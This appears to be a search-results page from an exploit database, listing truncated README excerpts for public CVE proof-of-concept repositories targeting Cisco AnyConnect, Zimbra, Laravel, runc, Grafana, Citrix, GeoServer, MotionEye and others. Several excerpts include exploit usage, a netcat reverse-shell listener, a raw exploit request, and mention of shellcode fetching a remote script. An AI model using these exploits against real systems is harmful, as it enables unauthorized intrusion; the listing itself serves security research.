1266482 matches found
CVE-2022-20699
CVE-2022-20699 🎧 Presentado por Audiobahn Cisco Anyconnect VPN RCE no autenticado pila rwx no está bien verificado...
CVE-2022-27925-PoC
CVE-2022-27925-PoC Zimbra RCE 간단한 poc...
CVE-2021-3129_exploit
CVE-2021-3129exploit Exploit for CVE-2021-3129 Lab setup: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve Usage: $ git clone https://github.com/nth347/CVE-2021-3129exploit.git $...
CVE-2026-6433
CVE-2026-6433 — Proof of Concept FlipperCode — Custom CSS, JS & PHP · Unauthenticated SQL injection → RCE via eval Affected: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · WordPress plugin surface via admin-ajax.php At a glance Item| Detail ---|--- Vector| Unauthenticated SQLi tunneled through plugin...
RunC-CVE-2019-5736
RunC-CVE-2019-5736 Two PoCs for CVE-2019-5736. See Twistlock Labs for an explanation of CVE-2019-5736 and the PoCs. The malicious image PoC is heavily based on q3k’s PoC, so all credit goes to him. Running the PoCs Note that running the PoCs will overwrite the runc binary on the host. It is...
CVE-2024-9264
CVE-2024-9264 Inyección SQL de DuckDB post-autenticación en Grafana RCE, Lectura de archivos Prueba de Concepto PoC Este PoC demuestra la explotación de CVE-2024-9264 mediante un usuario autenticado para realizar una consulta SQL de DuckDB y leer un archivo arbitrario del sistema de archivos o...
CVE-2023-38831-WinRAR-Vulnerability-Analysis
CVE-2023-38831-WinRAR-Vulnerability-Analysis This project is a cybersecurity research and analysis project focused on CVE-2023-38831, a critical WinRAR vulnerability that allows attackers to execute malicious code through specially crafted archive files. The project was conducted in a controlled...
CVE-2022-2992
CVE-2022-2992 Authenticated Remote Command Execution in Gitlab via GitHub import. A vulnerability in GitLab CE/EE affecting all versions from 11.10 before 15.1.6, all versions starting from 15.2 before 15.2.4, all versions starting from 15.3 before 15.3.2. allows an authenticated user to achieve...
CVE-2022-22965-PoC
CVE-2022-22965 PoC Minimal example of how to reproduce CVE-2022-22965 Spring RCE. Run using docker compose 1. Build the application using Docker compose docker-compose up --build 2. To test the app browse to http://localhost:8080/handling-form-submission-complete/greeting 3. Run the exploit...
CVE-2025-21298
content This is a proof-of-concept for CVE-2025-21298 - Windows OLE Remote Code Execution Vulnerability CVSS 9.8. This is a memory corruption PoC , not an exploit. Full patch diff via ghidriff: LINK vulnerability The vulnerability is located in ole32.dll!UtOlePresStmToContentsStm. The purpose of...
CVE-2023-3519
Citrix ADC RCE CVE-2023-3519 Este exploit utiliza direcciones y shellcode para Citrix VPX 13.1-48.47. Para el artículo completo, haga clic aquí. Uso Se requiere NASM para compilar el shellcode. $ sudo apt install nasm El shellcode incluido descargará y ejecutará un script de shell desde un servid...
CVE-2025-1974
README 말은 싸다, 그냥 코드를 보라. 자세한 내용은 https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities 에서 확인할 수 있습니다. 사용법 1. shell.c에서 IP를 변경하세요. 2. docker가 사용 가능한지 확인하고 make shell.so를 실행하세요. nginx-ingress-controller는 musl-libc 기반이므로, alpine에서 so를 빌드해야 동작할 수 있습니다. 3. 셸을 얻으려면 python3 exploit.py를 실행하세요...
MOODLE-3.X-Remote-Code-Execution
MOODLE-3.X-Remote-Code-Execution cve-2018-1133 moodle athenticated as teacher remote code execution...
CVE-2019-0708-EXPloit-3389
CVE-2019-0708-EXPloit-3389 Remote Desktop RDP Service Remote Code Execution Vulnerability CVE-2019-0708...
GeoServer-CVE-2024-36401
GeoServer-CVE-2024-36401 GeoServer CVE-2024-36401: Remote Code Execution RCE Vulnerability In Evaluating Property Name Expressions GetPropertyValue POST /geoserver/wfs HTTP/1.1 Host: PunitDarji Content-Type: application/xml User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36...
BIT-PARSE-2026-101042 Parse Server 9.0.0 Authentication Bypass via Unverified Provider Identity
Parse Server is an open-source backend server. In versions = 9.0.0 = 8.0.2 8.6.91, the code-based authentication adapters GitHub, Google Play Games, Instagram, LINE, LinkedIn, Microsoft, QQ, Spotify, WeChat, Weibo verify the client's authorization code with the external provider on signup and on...
CVE-2024-31666
Vulnerability Overview A vulnerability exists in Flusity-CMS v.2.33 that allows remote attackers to execute arbitrary code through a crafted script in the editaddonpost.php component. Affected Versions Flusity-CMS v.2.33 Vulnerability Details Attackers can exploit this vulnerability by sending a...
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 A critical RCE vulnerability in MCPJam Inspector 3.Start the exploit python3 CVE-2026-23744.py -u -i -p 4.For better usage I recomend to update the terminal to a fully funcional one , otherwise u wont be able to use commands like ctrl^c Example Only...
CVE-2025-60787_PoC
CVE-2025-60787 - MotionEye RCE Authenticated RCE in MotionEye = 0.43.1b4 via client-side validation bypass on the imagefilename field. Usage nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Flags Flag| Description ---|--- -t| Target host/URL defaults to port 87...